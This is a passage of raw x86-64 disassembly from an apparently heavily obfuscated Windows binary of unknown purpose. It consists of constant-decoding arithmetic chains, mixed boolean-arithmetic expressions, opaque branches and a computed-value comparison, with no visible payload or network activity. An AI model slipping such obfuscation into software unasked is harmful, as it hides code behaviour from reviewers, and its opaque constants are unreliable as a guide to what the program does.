not rcx
xor rcx, r9
sub rcx, r10
call fcn.14027f704
mov qword [0x14034c9a0], rax
xor eax, eax
mov byte [rbp + 0x558], al
lea rcx, [rbp + 0x558]
call fcn.1402800ec
xor r14d, r14d
mov dword [rbp - 0x48], r14d
mov dword [rbp - 0x48], 0x51eb54c5
mov eax, dword [rbp - 0x48]
add eax, 0xa85a0ab5
xor eax, 0xa00a3a5e
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
sub eax, 0x5b5e9d1e
xor eax, 0xce9f26d1
sub eax, dword [0x14033e048]
mov rcx, qword [0x14033e040]
add eax, 0x36fa5763
add eax, ecx
xor eax, 0xa7f9c5d3
add eax, 0x2580129f
xor eax, 0xa50bad07
mov r8d, dword [0x14033e030]
xor r8d, 0x255e9981
sub r8d, eax
mov eax, dword [0x14033e038]
xor eax, 0xdaa1667e
sub r8d, eax
sub r8d, ecx
add r8d, 0xdb9021
xor r8d, 0x79d9f37e
mov dword [rbp - 0x48], r8d
mov dword [rbp - 0x44], r14d
mov dword [rbp - 0x44], 0x8cd90600
mov eax, dword [rbp - 0x44]
add eax, 0xbaafbd35
xor eax, 0x528a4cb4
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
add eax, 0x246a61ca
xor eax, 0xbc001d87
sub eax, dword [0x14033e048]
mov rcx, qword [0x14033e040]
add eax, 0x5e170397
add eax, ecx
xor eax, 0x93100639
add eax, 0x21b8d811
xor eax, 0x7e04119
mov edx, dword [0x14033e030]
xor edx, 0x251542b7
sub edx, eax
mov eax, dword [0x14033e038]
xor eax, 0xdaeabd48
sub edx, eax
sub edx, ecx
sub edx, 0x23eeb476
xor edx, 0xf181de78
mov dword [rbp - 0x44], edx
movsxd r10, edx
mov dword [rbp - 0x40], r14d
mov dword [rbp - 0x40], 0x64f2da51
mov eax, dword [rbp - 0x40]
add eax, 0xb816bbb5
xor eax, 0x510a4a1b
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
sub eax, 0x5b8dd331
xor eax, 0xbea3830d
sub eax, dword [0x14033e048]
mov rcx, qword [0x14033e040]
add eax, 0xa19db520
add eax, ecx
xor eax, 0x96068bef
add eax, 0x211074f3
xor eax, 0x152cd6a1
mov r9d, dword [0x14033e030]
xor r9d, 0x251fa6bd
sub r9d, eax
mov eax, dword [0x14033e038]
xor eax, 0xdae05942
sub r9d, eax
sub r9d, ecx
add r9d, 0x4f59d70e
xor r9d, 0x6a80b1ba
mov dword [rbp - 0x40], r9d
mov dword [rbp - 0x3c], r14d
mov dword [rbp - 0x3c], 0x8c259ee7
mov eax, dword [rbp - 0x3c]
add eax, 0x3b8d7e36
xor eax, 0x138acd92
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
add eax, 0x22e7c887
xor eax, 0x391ee582
sub eax, dword [0x14033e048]
mov rcx, qword [0x14033e040]
add eax, 0x2f2a001a
add eax, ecx
xor eax, 0x131614
sub eax, 0x7bec43b3
xor eax, 0xbf6d59ab
mov edx, dword [0x14033e030]
xor edx, 0x2311cbb3
sub edx, eax
mov eax, dword [0x14033e038]
xor eax, 0xdcee344c
sub edx, eax
sub edx, ecx
add edx, 0x5ee17f4a
xor edx, 0x3b12d524
mov dword [rbp - 0x3c], edx
movsxd rcx, edx
mov eax, dword [0x1403606e4]
test eax, eax
je 0x140281fb9
mov dword [rbp + 0x1d0], eax
mov dword [rsp + 0x58], r8d
mov qword [rsp + 0x50], r10
mov dword [rsp + 0x48], r9d
mov eax, dword [rbp - 0x70]
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x68]
mov dword [rsp + 0x38], eax
mov eax, dword [rbp - 0x7c]
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rcx
lea rax, [rbp + 0x1c0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x180]
lea r8, [rbp + 0x270]
mov edx, r13d
lea rcx, [rbp + 0x58]
call fcn.140291310
nop
mov dword [rbp - 0x3c], r14d
mov dword [rbp - 0x40], r14d
mov dword [rbp - 0x44], r14d
mov dword [rbp - 0x48], r14d
mov rsi, qword [rbp + 0x58]
mov qword [rsp + 0x78], rsi
mov rcx, qword [rbp + 0x150]
test rcx, rcx
je 0x140282003
mov rax, r14
cmp qword [rbp + 0x158], r14
jbe 0x140282003
mov byte [rcx + rax], r14b
inc rax
cmp rax, qword [rbp + 0x158]
jae 0x140282003
mov rcx, qword [rbp + 0x150]
jmp 0x140281fea
mov dword [rbp - 0x64], r14d
mov dword [rbp - 0x68], r14d
mov dword [rbp - 0x78], r14d
mov dword [rbp - 0x80], r14d
mov qword [rbp + 0x70], r14
movabs rax, 0x10af2b00ec4bc64c
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], r14
movabs rax, 0x1fc56dfae2fe0e4f
mov qword [rbp + 0x78], rax
movabs rcx, 0xf33a52b785c64e83
add rcx, qword [rbp + 0x78]
movabs rax, 0x73d53662530b17ca
xor rcx, rax
sub rcx, qword [0x14033e058]
sub rcx, qword [0x14033e050]
movabs rax, 0x7120fb80a2091e16
add rcx, rax
movabs rax, 0xf8f8cd96edbd31f3
xor rcx, rax
sub rcx, qword [0x14033e048]
movabs rax, 0x7d654b78a69e15a
add rcx, rax
mov rdi, qword [0x14033e040]
add rcx, rdi
movabs rax, 0x5a9179a6ab6a487b
xor rcx, rax
movabs rax, 0x5f627dc4a7c66cbe
sub rcx, rax
movabs rax, 0x6a3b3cd19e4e9fbd
xor rcx, rax
movabs rdx, 0xb483ce434ba67206
add rdx, rcx
add rdx, rdi
not rdx
movabs rcx, 0x13cce94ade17178e
mov r10, qword [0x14033e038]
mov rax, r10
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b521e8e871
mov r11, qword [0x14033e030]
mov rcx, r11
xor rcx, rax
movabs rax, 0xe0b56d939d0710e3
add rdx, rax
add rdx, rcx
movabs rax, 0x1efcedad9c3a15ae
xor rdx, rax
mov qword [rbp + 0x78], rdx
movabs rcx, 0xcc5ad49c346493a
add rcx, qword [rbp + 0x70]
movabs rax, 0x6e8b4fedad9d554a
xor rcx, rax
sub rcx, qword [0x14033e058]
sub rcx, qword [0x14033e050]
movabs rax, 0x4ed45970eb509e26
add rcx, rax
movabs rax, 0x707459a67473752
xor rcx, rax
sub rcx, qword [0x14033e048]
movabs rax, 0xd829ab4607eea887
add rcx, rax
add rcx, rdi
movabs rax, 0xa56e8657dd444e84
xor rcx, rax
movabs rax, 0x2b02fde740806ebc
sub rcx, rax
movabs rax, 0x87c4c32daafcb663
xor rcx, rax
movabs rax, 0x95ab432b0dd4f728
add rcx, rax
add rcx, rdi
not rcx
movabs rax, 0xec3316b5270d1778
xor r10, rax
sub rcx, r10
movabs rax, 0x13cce94ad8f2e887
xor r11, rax
movabs rax, 0x1f4a914adbfcfb26
add rcx, rax
add rcx, r11
movabs rax, 0xfb7c1bc8e49c2048
xor rcx, rax
mov qword [rbp + 0x70], rcx
and rcx, rdx
mov qword [rbp + 0x78], r14
mov qword [rbp + 0x70], r14
cmp rsi, rcx
jne 0x14028228f
mov dword [rbp - 0x38], r14d
mov dword [rbp - 0x38], 0x8cbebe77
mov eax, dword [rbp - 0x38]
add eax, 0xcc8c7436
xor eax, 0x98b5e91
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
add eax, 0x2134cba5
xor eax, 0xa5dbf3aa
sub eax, dword [0x14033e048]
mov rdx, qword [0x14033e040]
add eax, 0x6a57e92d
add eax, edx
xor eax, 0x5ab0457c
add eax, 0x69f6f8b5
xor eax, 0xc6e956b3
mov ecx, dword [0x14033e030]
xor ecx, 0x20cdcfdb
sub ecx, eax
mov eax, dword [0x14033e038]
xor eax, 0xdf323024
sub ecx, eax
sub ecx, edx
lea eax, [rcx + 0x322908eb]
xor eax, 0x91b04acc
mov dword [rbp - 0x38], eax
mov dword [rbp - 0x38], r14d
jmp 0x14028a175
mov dword [rbp + 0x148], r14d
mov qword [rbp + 0x80], r14
movabs rax, 0x110578fa473bdaf7
mov qword [rbp + 0x80], rax
movabs rcx, 0xf33a52b61f8c3983
add rcx, qword [rbp + 0x80]
movabs rax, 0x5ed536625309b190
xor rcx, rax
sub rcx, qword [0x14033e058]
sub rcx, qword [0x14033e050]
movabs rax, 0x7120fb80a63bcc55
add rcx, rax
movabs rax, 0xf8f8cd9859902f47
xor rcx, rax
sub rcx, qword [0x14033e048]
movabs rax, 0x87d654b970adb8dc
add rcx, rax
mov rdx, qword [0x14033e040]
add rcx, rdx
movabs rax, 0x5a9179a84404886f
xor rcx, rax
movabs rax, 0x5f627dc6bb7d1a6a
sub rcx, rax
movabs rax, 0x123b3cd25176dc0e
xor rcx, rax
movabs rax, 0xb483ce44a814f073
add rax, rcx
add rdx, rax
not rdx
movabs rcx, 0x13cce94ad87e2f3a
mov rax, qword [0x14033e038]
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b52781d0c5
mov rcx, qword [0x14033e030]
xor rcx, rax
movabs rax, 0xe0b56d8dfe43d48f
add rdx, rax
add rdx, rcx
movabs rax, 0x79c30748c1b377a2
xor rdx, rax
mov qword [rbp + 0x80], rdx
mov dword [rbp + 0x140], edx
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], r14
movabs rax, 0x20c4c3570afe8b3f
mov qword [rbp + 0x88], rax
movabs rcx, 0xf33a52b5acaa8f03
add rcx, qword [rbp + 0x88]
movabs rax, 0xb455366253093eaf
xor rcx, rax
sub rcx, qword [0x14033e058]
sub rcx, qword [0x14033e050]
movabs rax, 0xedf047f586b8eac
sub rcx, rax
movabs rax, 0xf8f8cd98ce3d6071
xor rcx, rax
sub rcx, qword [0x14033e048]
movabs rax, 0x47d654ba0c9f0bcd
add rcx, rax
mov rdx, qword [0x14033e040]
add rcx, rdx
movabs rax, 0x5a9179a8c70deee9
xor rcx, rax
movabs rax, 0x5f627dc727780b7c
sub rcx, rax
movabs rax, 0x663b3cd28aeb485b
xor rcx, rax
movabs rax, 0x3483ce4517d26f49
add rax, rcx
add rdx, rax
not rdx
movabs rcx, 0x13cce94ad6b2a890
mov rax, qword [0x14033e038]
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b5294d576f
mov rcx, qword [0x14033e030]
xor rcx, rax
movabs rax, 0xe0b56d8c50f3a3e5
add rdx, rax
add rdx, rcx
movabs rax, 0xdc8454f592100670
xor rdx, rax
mov qword [rbp + 0x88], rdx
mov dword [rbp + 0x144], edx
mov qword [rbp + 0x88], r14
movabs rax, 0xed838788ad8e7fe0
movabs r14, 0x66b7cdb7ae78938a
movabs r11, 0xca2ccfd738a596f3
mov r10, qword [0x14033e060]
imul r10, rax
movabs rax, 0xed8a9dcd1c277d70
xor r10, rax
mov r13, r10
imul r13, r11
movabs rdi, 0xaaaaaaaaaaaaaaab
mov rax, rdi
mul r13
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r13
sub rcx, rax
mov r9, r10
and r9, r11
lea rax, [0x14033e060]
imul r9, qword [rax + rcx*8]
movabs rax, 0x7ff946a3ba9191c8
imul r9, rax
shr r9, 3
movabs rax, 0xaa97df34d611e338
xor r9, rax
movabs rax, 0xffffff57c5ae06fb
mov rbx, r10
imul rbx, rax
sub rbx, 0x3e1386c
xor rbx, qword [0x14033e060]
xor rbx, r9
mov rax, r9
imul rax, qword [0x14033e070]
movabs rcx, 0xb9de928bcc1db9da
imul rax, rcx
not rax
and rbx, rax
ror rbx, 0x18
shr rbx, 8
movabs r12, 0x35d33028c75a690d
lea rcx, [r10 + r12]
xor rcx, 0xfffffffff293b2d7
mov rax, rdi
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0x8c86e095d3188d18
lea r8, [0x14033e060]
mov rsi, qword [r8 + rcx*8]
imul rsi, rax
sub rsi, r12
movabs rcx, 0xfb60e1e22b639ff8
mov rax, r9
imul rax, rcx
xor rsi, rax
shr rsi, 0x1f
not rsi
mov r15, rsi
xor r15, r10
lea rcx, [rsi + r12]
mov rax, rdi
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, sil
movzx ecx, byte [r8 + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0xcb
mov eax, 0x8000003f
and ecx, eax
jge 0x140282635
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r15, cl
not r15
imul r15, r9
imul rdx, r15, 0xfffffffffc1ec794
mov qword [rbp + 0x558], rdx
lea rdi, [rdx + r12]
mov r8, rsi
imul r8, rbx
sub r8, rdi
xor r8, r14
movzx r12d, dil
mov ecx, r12d
xor ecx, 4
and ecx, 0xf
and ecx, eax
jge 0x140282676
dec ecx
or ecx, 0xffffffc0
inc ecx
rol r8, cl
movabs rax, 0xb5ce82815c8c297c
imul r15, rax
movabs rax, 0x5c5163503e3faaa9
sub r15, rax
xor r8, r15
mov rax, rdi
sub rax, qword [0x14033e078]
xor r8, rax
xor r8, r9
xor r8, r10
mov rax, r8
movabs r15, 0xcccccccccccccccd
and eax, 3
je 0x140282a04
sub rax, 1
je 0x1402828ca
sub rax, 1
je 0x1402827d6
cmp rax, 1
jne 0x140282ab9
mov r14, rdi
imul r14, rsi
movabs rax, 0xb8a4f820dfc837bf
add rax, r8
xor r14, rax
ror r14, 0x20
shr r14, 0xc
xor r14, r10
not r14
movabs rcx, 0x83572eecb7e0
mov rdx, qword [0x14033e088]
add rdx, rcx
movabs rax, 0x3551b550a2adfe57
xor rdx, rax
movzx eax, r14b
movzx ecx, r8b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db9760c5b23
sub rax, rsi
mov rsi, rdx
xor rsi, rax
mov rcx, rsi
imul rcx, r11
mov eax, 0xa7d789c9
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r12, [0x14033e060]
mov cl, byte [r12 + rcx*8]
and cl, 0xf
movabs r11, 0x13e582128eeaa7f4
sub r11, r14
shr r11, cl
movabs rax, 0x35db54b11cae6213
mov rcx, qword [rbp + 0x558]
add rcx, rax
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r8
imul rax, qword [r12 + rcx*8]
imul rax, r8
sub rax, rbx
xor r11, rax
jmp 0x140282ab9
movabs rax, 0xaaaaaa1aa7ce74f7
mov rcx, r8
xor rcx, rax
movabs rax, 0x1206ed65c3a8bb
imul rcx, rax
movabs rdi, 0xfff17ca870ac428b
mov rax, r9
xor rax, rdi
sub rcx, rax
movabs rax, 0xffff7e8a81de462b
imul rdx, rax
movabs rsi, 0xa6d9323f5d0d795a
add rsi, rcx
add rsi, rdx
movabs rax, 0x277cd7be751ea397
mov rcx, rsi
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rdi, rsi
not rdi
lea rax, [0x14033e060]
imul rdi, qword [rax + rcx*8]
xor rdi, 0xfffffffff29ba227
lea ecx, [r8 - 0xb]
and cl, 0x3f
rol rdi, cl
movabs rax, 0x8306d8680000000
xor r13, rax
movabs rax, 0x7c7a7dc69b9ca896
and r13, rax
imul rdi, r13
mov rcx, rdi
ror rcx, 0x20
not rcx
movabs rax, 0x9b2de6b2ebc886c0
imul rcx, rax
mov rax, rsi
sub rax, rdi
lea rdx, [rcx + rax*4]
mov cl, bl
and cl, 0x3f
ror rdx, cl
mov rax, r11
mov r11, rdx
imul r11, rax
jmp 0x140282ab9
movabs rax, 0xd38b8fe23ead0daf
imul r8, rax
movabs rax, 0xd79435e50d79435f
mul r8
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r8b
sub cl, dl
movabs rdx, 0x35d33028c75a690c
mov rax, r10
imul rax, rdx
xor rax, r14
not rax
shl rax, cl
xor r9, rax
and r12d, 0x8000003f
jge 0x140282924
dec r12d
or r12d, 0xffffffc0
inc r12d
mov cl, r12b
rol r9, cl
movabs rcx, 0x35d33028c75a690d
add rcx, r8
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xfd738a596f3
lea rax, [0x14033e060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r9, rax
movabs rax, 0xffffc7a7fb0a02da
or r9, rax
mov r11, qword [0x14033e070]
imul r11, r14
sub r11, rdi
mov rax, rbx
sub rax, r9
xor r11, rax
movabs rax, 0xc7a7c6a6aa0202d7
xor r11, rax
mov rax, r15
mul r10
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, r10
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, r11
div rcx
mov rcx, rdx
mov rdx, r8
imul rdx, rdi
imul rdx, r11
shr rdx, cl
mov rax, rsi
sub rax, rdx
sub rax, r10
movabs r10, 0x789589465504ecd
add r10, rax
xor r10, rbx
movzx eax, sil
imul ecx, eax, 0xf2
and cl, 0x3f
rol r10, cl
not r10
jmp 0x140282ab9
movabs rax, 0xaaaaaaaaaaaaaaab
mul r9
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r9
sub rcx, rax
mov rax, r8
imul rax, qword [0x14033e080]
lea rdx, [0x14033e060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r9
and r9b, 0x3f
mov cl, r9b
mov r9, rdx
ror r9, cl
imul r9, rdi
not rbx
imul rbx, rsi
movabs rax, 0x7cd8a7de77f35336
imul rbx, rax
mov rax, r9
imul rax, r10
mov r10, rbx
xor r10, rax
imul rbx, qword [0x14033e060], 0xfffffffffc1ec794
mov rdx, qword [0x14033e068]
sub rbx, rdx
mov al, r10b
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140282aa2
dec ecx
or ecx, 0xffffffc0
inc ecx
ror rbx, cl
movabs rax, 0x35d33028c75a690d
add rbx, rax
add rbx, qword [rbp + 0x558]
movabs rax, 0xff055d7b87b859fb
xor r14, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul r14
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub r14, rax
xor r9, r10
lea rax, [0x14033e060]
imul r9, qword [rax + r14*8]
not rdi
imul rdi, r8
imul rdi, rbx
imul rdi, r11
movabs rcx, 0xf5ed7e87800b1327
xor rcx, rsi
not rcx
xor rcx, rdi
sub rcx, r9
call fcn.14027f848
mov qword [0x14034c9e8], rax
xor r8d, r8d
mov dword [rbp - 0x34], r8d
mov dword [rbp - 0x34], 0x636c624b
mov eax, dword [rbp - 0x34]
add eax, 0xace09bb6
xor eax, 0x310b3ee5
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
sub eax, 0x5e6c30d1
xor eax, 0xc6067b8c
sub eax, dword [0x14033e048]
mov rcx, qword [0x14033e040]
add eax, 0x5555ad8f
add eax, ecx
xor eax, 0x7ed0486e
add eax, 0x6013e573
xor eax, 0x9ac04052
mov edx, dword [0x14033e030]
xor edx, 0x214c7f3d
sub edx, eax
mov eax, dword [0x14033e038]
xor eax, 0xdeb380c2
sub edx, eax
sub edx, ecx
add edx, 0x142d1173
xor edx, 0x593dec3a
mov dword [rbp - 0x34], edx
movsxd rax, edx
mov qword [rbp + 0x90], rax
mov dword [rbp - 0x34], r8d
mov dword [rbp - 0x30], r8d
mov dword [rbp - 0x30], 0x297bcc95
mov eax, dword [rbp - 0x30]
add eax, 0xd5e01e36
xor eax, 0xb38b67e4
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
add eax, 0x2118d0a7
xor eax, 0x9c62fb02
sub eax, dword [0x14033e048]
mov rdx, qword [0x14033e040]
add eax, 0x5daed7ea
add eax, edx
xor eax, 0x500cd794
add eax, 0x6b2fadcd
xor eax, 0x723f3716
mov ecx, dword [0x14033e030]
xor ecx, 0x20a88133
sub ecx, eax
mov eax, dword [0x14033e038]
xor eax, 0xdf577ecc
sub ecx, eax
sub ecx, edx
add ecx, 0x60ef9f6d
xor ecx, 0x4b330ea4
mov dword [rbp - 0x30], ecx
mov dword [rbp - 0x30], r8d
mov qword [rbp + 0x98], r8
movabs rax, 0x3a4d5cfb4b154d79
mov qword [rbp + 0x98], rax
movabs rcx, 0xf33a52b1160cd183
add rcx, qword [rbp + 0x98]
movabs rax, 0xf6d536625304a811
xor rcx, rax
sub rcx, qword [0x14033e058]
sub rcx, qword [0x14033e050]
movabs rax, 0x7120fb80b5584a8d
add rcx, rax
movabs rax, 0xf8f8cd9d773594e7
xor rcx, rax
sub rcx, qword [0x14033e048]
movabs rax, 0x87d654c047122a88
add rcx, rax
mov rdx, qword [0x14033e040]
add rcx, rdx
movabs rax, 0x5a9179ae02d9db0f
xor rcx, rax
movabs rax, 0x5f627dc65dbee28a
sub rcx, rax
movabs rax, 0x523b3cd4d65edc09
xor rcx, rax
movabs rax, 0xb483ce498e51dc9b
add rax, rcx
add rdx, rax
not rdx
movabs rcx, 0x13cce94ac458319a
mov rax, qword [0x14033e038]
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b53ba7ce65
mov rcx, qword [0x14033e030]
xor rcx, rax
movabs rax, 0xe0b56d7a04607eef
add rax, rdx
add rax, rcx
movabs rcx, 0x5ee4eb57482b7dc2
xor rax, rcx
mov qword [rsp + 0x70], rax
mov qword [rbp + 0x98], rax
mov qword [rbp + 0xa0], r8
movabs rax, 0xd6b0d0d92ab2934d
mov qword [rbp + 0xa0], rax
movabs rcx, 0xf33a52b5ae7b6703
add rcx, qword [rbp + 0xa0]
movabs rax, 0x8c5536625309407f
xor rcx, rax
sub rcx, qword [0x14033e058]
sub rcx, qword [0x14033e050]
movabs rax, 0xedf047f58710134
sub rcx, rax
movabs rax, 0xf8f8cd98cc654511
xor rcx, rax
sub rcx, qword [0x14033e048]
movabs rax, 0x47d654ba0a280e99
add rcx, rax
mov rdx, qword [0x14033e040]
add rcx, rdx
movabs rax, 0x5a9179a8c4fbb889
xor rcx, rax
movabs rax, 0x5f627dc726fef2dc
sub rcx, rax
movabs rax, 0xa63b3cd28a02cdd5
xor rcx, rax
movabs rax, 0x3483ce45160e4d31
add rax, rcx
add rdx, rax
not rdx
movabs rcx, 0x13cce94ad6b9ebf0
mov rax, qword [0x14033e038]
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b52946140f
mov rcx, qword [0x14033e030]
xor rcx, rax
movabs rax, 0xe0b56d8c583c4ec5
add rax, rdx
add rax, rcx
movabs rcx, 0xfea072790ef39310
xor rax, rcx
mov qword [rsp + 0x68], rax
mov qword [rbp + 0xa0], rax
mov dword [rbp - 0x2c], r8d
mov dword [rbp - 0x2c], 0xa519a8af
mov eax, dword [rbp - 0x2c]
add eax, 0xdf164cb6
xor eax, 0xe20b711a
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
sub eax, 0x5f02d1e4
xor eax, 0x9307f3c8
sub eax, dword [0x14033e048]
mov rcx, qword [0x14033e040]
add eax, 0x912dcbcb
add eax, ecx
xor eax, 0x458b0a8a
add eax, 0x6d6452e7
xor eax, 0xf9a3d624
mov r13d, dword [0x14033e030]
xor r13d, 0x2083a879
sub r13d, eax
mov eax, dword [0x14033e038]
xor eax, 0xdf7c5786
sub r13d, eax
sub r13d, ecx
add r13d, 0xea2a5e1
xor r13d, 0xc4c74e56
mov dword [rbp - 0x2c], r13d
xor eax, eax
mov byte [rbp + 0x558], al
lea rcx, [rbp + 0x558]
call fcn.14027faac
movabs rax, 0x269cb59800000000
mov r15, qword [0x14033e070]
imul r15, rax
movabs rax, 0xd3d31cb700000000
xor r15, rax
movabs r9, 0xbbadf91f49a1fc68
mov rcx, r15
imul rcx, r9
movabs r10, 0xaaaaaaaaaaaaaaab
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rbx, r15
and rbx, r9
lea rdi, [0x14033e060]
imul rbx, qword [rdi + rcx*8]
movabs rax, 0x9d1a1bded26d18b8
imul rbx, rax
shr rbx, 3
movabs rax, 0x97acc4a9be0b0268
xor rbx, rax
movabs rax, 0xffffff57c7bf6d9b
mov r11, r15
imul r11, rax
sub r11, 0x3560eb8
xor r11, rbx
mov r12, qword [0x14033e060]
xor r11, r12
mov rax, rbx
imul rax, qword [0x14033e070]
movabs rcx, 0xb9de928bce0cd2ba
imul rax, rcx
not rax
and r11, rax
ror r11, 0x23
shr r11, 8
movabs r8, 0x445206e0b65e0398
lea rcx, [r15 + r8]
xor rcx, 0xfffffffff082d9b7
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0x1473b6c8838c6f0
mov rsi, qword [rdi + rcx*8]
imul rsi, rax
sub rsi, r8
movabs rcx, 0xdda604ec9a72d660
mov rax, rbx
imul rax, rcx
xor rsi, rax
shr rsi, 0x1f
not rsi
mov r9, rsi
xor r9, r15
lea rcx, [rsi + r8]
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, sil
movzx ecx, byte [rdi + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0xab
mov eax, 0x8000003f
and ecx, eax
jge 0x140283046
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r9, cl
not r9
imul r9, rbx
imul r14, r9, 0xfffffffffca9f148
lea rdi, [r14 + r8]
mov r8, rsi
imul r8, r11
sub r8, rdi
movabs rcx, 0x963d578bb2757f3f
xor r8, rcx
movzx ecx, dil
xor ecx, 4
and ecx, 0xf
and ecx, eax
jge 0x140283087
dec ecx
or ecx, 0xffffffc0
inc ecx
rol r8, cl
mov rax, rdi
sub rax, qword [0x14033e078]
xor r8, rax
movabs rax, 0x88f5991c34d4e540
imul r9, rax
movabs rax, 0x1bfb39a2c3acea40
sub r9, rax
xor r8, r9
xor r8, rbx
xor r8, r15
mov rax, r10
mul rbx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rdx, rbx
sub rdx, rax
mov rax, r8
imul rax, qword [0x14033e080]
lea rcx, [0x14033e060]
mov r10, qword [rcx + rdx*8]
and r10, rax
xor r10, rbx
and bl, 0x3f
mov cl, bl
ror r10, cl
imul r10, rdi
not r11
imul r11, rsi
movabs rax, 0x7cd8a7de75e23856
imul r11, rax
mov rax, r10
imul rax, r15
xor r11, rax
imul r9, r12, 0xfffffffffca9f148
mov rdx, qword [0x14033e068]
sub r9, rdx
mov al, r11b
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140283146
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r9, cl
lea rcx, [r14 + r9]
movabs rax, 0xbbadf91f49a1fc68
imul rcx, rax
movabs rax, 0x1bfb39a2c3acea40
sub rcx, rax
movabs rax, 0xbbadf91f49a1fc67
sub rax, r14
imul rcx, rax
imul rcx, r8
movabs rax, 0xf5ed7e87821a7847
xor rsi, rax
not rsi
xor rcx, rsi
xor r10, r11
imul r10, r12
sub rcx, r10
call fcn.14027f728
mov qword [0x14034c9b8], rax
xor r15d, r15d
mov dword [rbp - 0x28], r15d
mov dword [rbp - 0x28], 0x63623006
mov eax, dword [rbp - 0x28]
add eax, 0x40c530b5
xor eax, 0xc609d2c9
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
sub eax, 0x5a27de90
xor eax, 0x37d25439
sub eax, dword [0x14033e048]
mov rcx, qword [0x14033e040]
add eax, 0xc394e54e
add eax, ecx
xor eax, 0x1e1f8e7b
add eax, 0x4bac9f37
xor eax, 0xa8d956ad
lea edx, [rcx - 0x783b77fe]
add edx, eax
not edx
mov eax, dword [0x14033e038]
xor eax, 0xd9031316
sub edx, eax
mov ecx, dword [0x14033e030]
xor ecx, 0x26fcece9
add ecx, 0x83ae9d31
add ecx, edx
xor ecx, 0x670ca706
mov dword [rbp - 0x28], ecx
movsxd r9, ecx
mov dword [rbp - 0x24], r15d
mov dword [rbp - 0x24], 0x607652a7
mov eax, dword [rbp - 0x24]
add eax, 0x85672335
xor eax, 0xb88a176b
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
add eax, 0x250a3b98
xor eax, 0xf21dd9ef
sub eax, dword [0x14033e048]
mov rcx, qword [0x14033e040]
add eax, 0xa66b10a2
add eax, ecx
xor eax, 0xcfd6d5e1
add eax, 0x1c0f8d39
xor eax, 0xf286385e
mov edx, dword [0x14033e030]
xor edx, 0x25ea651f
sub edx, eax
mov eax, dword [0x14033e038]
xor eax, 0xda159ae0
sub edx, eax
sub edx, ecx
sub edx, 0x2d7c14a8
xor edx, 0xdf782120
mov dword [rbp - 0x24], edx
movsxd r8, edx
mov dword [rbp - 0x20], r15d
mov dword [rbp - 0x20], 0x6d5e395
mov eax, dword [rbp - 0x20]
add eax, 0x41c7adb6
xor eax, 0x430ad3cc
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
sub eax, 0x5d2ae607
xor eax, 0x32cbcd44
sub eax, dword [0x14033e048]
mov rcx, qword [0x14033e040]
add eax, 0xe6b604a0
add eax, ecx
xor eax, 0xf8f8b7e6
sub eax, 0x77958ad5
xor eax, 0x40501019
mov edx, dword [0x14033e030]
xor edx, 0x22f8e2f5
sub edx, eax
mov eax, dword [0x14033e038]
xor eax, 0xdd071d0a
sub edx, eax
sub edx, ecx
sub edx, 0x20c8944
xor edx, 0x45219e92
mov dword [rbp - 0x20], edx
movsxd rdx, edx
mov eax, dword [0x1403606e8]
